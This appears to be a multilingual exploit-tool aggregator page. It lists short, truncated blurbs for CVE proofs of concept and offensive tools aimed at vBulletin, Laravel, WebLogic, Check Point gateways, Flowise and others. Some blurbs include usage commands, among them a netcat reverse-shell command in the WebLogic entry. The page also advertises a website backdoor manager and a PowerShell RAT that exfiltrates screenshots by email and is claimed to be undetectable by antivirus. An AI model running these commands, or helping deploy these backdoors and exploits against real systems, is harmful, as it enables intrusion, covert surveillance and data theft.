CVE-2026-15598

CVE-2026-15598 已在 antv layout 2.0.0 中发现一个弱点。 这会影响库 lib/util/object.js 中的 setNestedValue 函数。对参数 path 进行操作可能导致对象原型属性被不当控制的修改。该攻击可以远程发起。项目方已通过 issue 报告提前得知该问题，但尚未回应。...

Shelly

Shelly | Python ベースのシンプルなバックドアマネージャー weevely ベース Shelly は Python で書かれたシンプルなツールで、ウェブサイトをリモート操作するためのものです。 インストール : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py 必要条件 : root@kitploit: sudo pip install -r requirements.txt 例 : root@kitploit: python3 shell.py -g wp-log ...

text4shell-exploit

Text4shell-exploit 这是一个概念验证（PoC），用于利用 Apache Commons Text 中的漏洞 CVE-2022-42889 受影响版本：1.5.0 至（不含）1.10.0 影响 成功利用此漏洞，可使未经身份验证的攻击者在易受攻击的资产上执行任意代码 用于验证 PoC 的易受攻击应用程序 由 @securekomodo 开发的应用程序，附加在 此处。 Docker 该应用程序也可以从 docker-registry 加载 root@kitploit: docker run -p 8080:8080 gokul2/text4shell-poc:latest...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞 Ps： 有些poc发包过去是403 ，而不是200 增强判断：echo md5'vBulletin'; 判断返回包中是否存在be4ea51d962be8308a0099ae1eb3ec63 print r.text.split'be4ea51d962be8308a0099ae1eb3ec63'0 CVE-2019-16759.py root@kitploit: import requests import sys if lensys.argv != 2: sys.exit"Usage: %s " %...

CVE-2019-11043-Docker

PHP-FPM（CVE-2019-11043）の脆弱性バージョンとnginxを含むDockerイメージ。 実行 docker run --rm -p8080:80 akamajoris/cve-2019-11043 http://your-ip:8080/ でWebアプリケーションにアクセスできるはずです。 悪用 https://github.com/neex/phuip-fpizdam からバイナリをビルドし、その後 root@kitploit: root@debian:/gopath/bin curl...

CVE-2021-3129

CVE-2021-3129 Laravel 调试模式 - 远程代码执行（RCE） https://vulners.com/cve/CVE-2021-3129 https://www.ambionics.io/blog/laravel-debug-rce https://github.com/ambionics/phpggc 示例 root@kitploit: python3 exploit.py http://127.0.0.1:8080 root@kitploit: python3 exploit.py http://127.0.0.1:8080 --phar $php -d...

spark-exploit

未受保护的 Apache Spark 集群中的任意代码执行 如何利用 按照以下步骤操作： root@kitploit: $ git clone https://github.com/akhld/spark-exploit.git $ cd spark-exploit 远程代码执行 打开 exploit.scala，将以下代码替换为你想要执行的任意内容！ root@kitploit: val exploit = sc.parallelize1 to 1.mapx= //Replace these with whatever you want to get executed val x =...

CVE-2025-66455

LMDeploy versions 0.9.2 through 0.15.x are vulnerable to unauthenticated remote code execution (CVSS 9.8 Critical ) in its PyTorch DistServe/PD-disaggregation control plane. The root cause is that recv_pyobj() in EngineP2PConnection.handle_zmq_recv() performs pickle deserialization on messages re...

CVE-2025-58434-AND-59528-POC

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528 ⚠️ 教育目的および許可されたセキュリティ研究専用です。 このツールを、自分が所有していない、または書面による許可を得ていないシステムに対して実行することは違法 です。 目次 概要 脆弱性の詳細 CVE-2025-58434 — アカウント乗っ取り CVE-2025-59528 — リモートコード実行 完全な攻撃チェーン 影響を受けるバージョン リポジトリ構成 要件 インストール 使用方法 デフォルトの動作...

CVE-2024-24919

Check Point 安全网关 RCE 漏洞利用工具 CVE-2024-24919 概述 此仓库包含一个用于利用 Check Point 安全网关中 CVE-2024-24919 漏洞的工具。该工具是一个多目标扫描器，可以识别易受攻击的设备，同时也是一个单目标利用工具，可以完全控制受影响设备。 CVE-2024-24919 是一个高危信息泄露漏洞，允许攻击者远程读取 Check Point 安全网关上的任意文件。此漏洞可被利用来窃取敏感信息，例如密码和配置文件。 免责声明：...

CVE-2025-59287-PoC

CVE-2025-59287 / CVE-2023-35317 PoC CVE-2025-59287 の詳細: WSUS における SoapFormatter RCE: https://shellcode.blog/wsus-cve-2025-59287-investigation/ 本ソフトウェアは、学術研究および効果的な防御技術の開発のみを目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトメンテナーは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。 使用方法 必須フラグ:...

exploit-CVE-2016-6515

DOS remoto de OpenSSH Antes de la versión 7.3, OpenSSH no limita la longitud de las contraseñas para la autenticación por contraseña, lo que permite a atacantes remotos provocar una denegación de servicio consumo de CPU por crypt mediante una cadena larga. Este fallo reside en auth-passwd.c en la...

CVE-2023-30092

CVE-2023-30092 CVE-2023-30092 の詳細 ソフトウェア: Online Pizza Ordering System 1.0 ソフトウェアリンク: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html 脆弱性タイプ: SQLインジェクション 影響を受けるコンポーネント: QTYパラメータ サービス拒否への影響: あり コード実行への影響: あり 攻撃タイプ: リモート 製品ベンダー: Sourcecodester 説明:...

CVE-2016-10033

CVE-2016-10033 PHPMailer におけるリモートコード実行の脆弱性。 CVE-2016-10033 の詳細: CVE-2016-10033 Wiki...

CVE-2026-14762-PoC-Exploit

CVE-2026-14762 – Code‑Projects Hotel & Tourism Reservation 1.0 SQL 注入漏洞利用工具 -orange -red 功能完备、多线程、基于时间盲注的 SQL 注入漏洞利用工具，针对 CVE‑2026‑14762。 目标为 Code‑Projects Hotel & Tourism Reservation 应用（版本 1.0）的 /admin/rooms.php 端点。 可实现完整的数据库枚举、文件系统读取（LOADFILE）和任意文件写入（INTO OUTFILE / DUMPFILE）——最终通过部署 WebShell...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 Python用EXP（ワンステップで完了） 使用方法: Python3 exploit.py -t -c ヒント: エコーなし 例： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' すると、シェルを取得できます。...

Powershell-RAT

Powershell-RAT Pythonベースのバックドアで、Gmailを使用してデータを電子メールの添付ファイルとして流出させます。 このRATは、レッドチームのエンゲージメント中に誰でもWindowsマシンにバックドアを仕掛けるのに役立ちます。スクリーンキャプチャを使用してユーザーアクティビティを追跡し、情報を電子メールの添付ファイルとして攻撃者に送信します。 注: このコードは、アンチウイルスソフトウェアによって完全に検出されません（FUD）。 このプロジェクトは、違法目的や許可のないシステムへのハッキングに使用してはなりません。教育目的および実験目的にのみ使用してください。...

CVE-2017-7269-exploit

根据 https://github.com/edwardz246003/IISexploit.git 修改得来 用法 root@kitploit: -h ：选择主机（默认127.0.0.1） -p ：选择端口（默认80） 末尾跟上 command 命令（默认regedit，目前该脚本只支持最多8个字符）...

bitbang-cli

BitBang CLI bitbang 是一个单一静态二进制文件的远程访问多功能工具。通过任意浏览器，即可获得交互式 shell 和对远程机器的文件浏览器访问权限。你还可以访问该机器网络上的 Web 应用。除浏览器外，它还支持 TCP 端口转发、文件复制和终端共享。它无需账户或配置——开箱即用。 在你要访问的机器上： curl -sSfL bitba.ng/install | sh bitbang serve root@kitploit: serve 会打印一个 URL。在任何浏览器中打开它，你就能获得一个终端、一个文件浏览器，以及通往该机器网络的代理——或者从另一个终端用 bitban...

rdpscan

rdpscan for CVE-2019-0708 bluekeep vuln This is a quick-and-dirty scanner for the CVE-2019-0708 vulnerability in Microsoft Remote Desktop. Right now, there are about 900,000 machines on the public Internet vulnerable to this vulnerability, so many are to expect a worm soon like WannaCry and...